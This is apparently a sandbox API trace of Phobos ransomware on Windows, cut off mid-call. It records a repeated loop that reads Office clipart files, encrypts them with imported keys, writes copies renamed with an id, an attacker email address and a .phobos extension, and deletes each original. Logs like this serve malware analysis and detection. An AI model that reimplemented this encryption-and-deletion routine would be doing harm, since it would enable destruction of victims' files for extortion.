[0056.121] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0056.122] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.157] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7216) returned 1 [0056.158] CloseHandle (hObject=0x2fc) returned 1 [0056.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0056.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.158] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.158] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.158] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0056.158] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.158] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1c30, lpOverlapped=0x0) returned 1 [0056.180] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1c40) returned 1 [0056.180] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1c40, lpOverlapped=0x0) returned 1 [0056.181] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc550) returned 1 [0056.181] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.181] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.181] CryptDestroyKey (hKey=0x10dc550) returned 1 [0056.181] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.182] CryptDestroyKey (hKey=0x10dc690) returned 1 [0056.182] CloseHandle (hObject=0x2fc) returned 1 [0056.182] CloseHandle (hObject=0x310) returned 1 [0056.182] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0056.183] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.184] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14873) returned 1 [0056.184] CloseHandle (hObject=0x310) returned 1 [0056.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0056.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.184] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.184] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.184] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0056.184] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.184] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3a19, lpOverlapped=0x0) returned 1 [0056.199] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3a20) returned 1 [0056.199] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3a20, lpOverlapped=0x0) returned 1 [0056.200] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0056.200] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.200] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.200] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0056.200] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.200] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0056.200] CloseHandle (hObject=0x310) returned 1 [0056.200] CloseHandle (hObject=0x2fc) returned 1 [0056.201] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0056.202] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.203] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6684) returned 1 [0056.203] CloseHandle (hObject=0x2fc) returned 1 [0056.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0056.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.203] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.203] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.204] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0056.204] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.204] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1a1c, lpOverlapped=0x0) returned 1 [0056.216] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1a20) returned 1 [0056.216] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1a20, lpOverlapped=0x0) returned 1 [0056.217] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb90) returned 1 [0056.217] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.217] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.217] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0056.217] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.218] CryptDestroyKey (hKey=0x10dc810) returned 1 [0056.218] CloseHandle (hObject=0x2fc) returned 1 [0056.218] CloseHandle (hObject=0x310) returned 1 [0056.222] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0056.222] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.223] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3251) returned 1 [0056.223] CloseHandle (hObject=0x310) returned 1 [0056.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0056.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.223] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.223] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.224] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0056.224] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.224] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xcb3, lpOverlapped=0x0) returned 1 [0056.225] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xcc0) returned 1 [0056.225] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xcc0, lpOverlapped=0x0) returned 1 [0056.226] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0056.226] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.226] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.226] CryptDestroyKey (hKey=0x10dc710) returned 1 [0056.226] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.226] CryptDestroyKey (hKey=0x10dc810) returned 1 [0056.226] CloseHandle (hObject=0x310) returned 1 [0056.226] CloseHandle (hObject=0x2fc) returned 1 [0056.227] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0056.228] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.228] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=8097) returned 1 [0056.228] CloseHandle (hObject=0x2fc) returned 1 [0056.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0056.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.228] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.228] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.228] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0056.228] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.229] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1fa1, lpOverlapped=0x0) returned 1 [0056.230] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1fb0) returned 1 [0056.230] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1fb0, lpOverlapped=0x0) returned 1 [0056.231] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0056.231] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.231] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.231] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0056.231] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.231] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0056.231] CloseHandle (hObject=0x2fc) returned 1 [0056.231] CloseHandle (hObject=0x310) returned 1 [0056.232] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0056.232] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0056.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.233] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7686) returned 1 [0056.233] CloseHandle (hObject=0x310) returned 1 [0056.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0056.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.233] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.233] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0056.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0056.234] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, 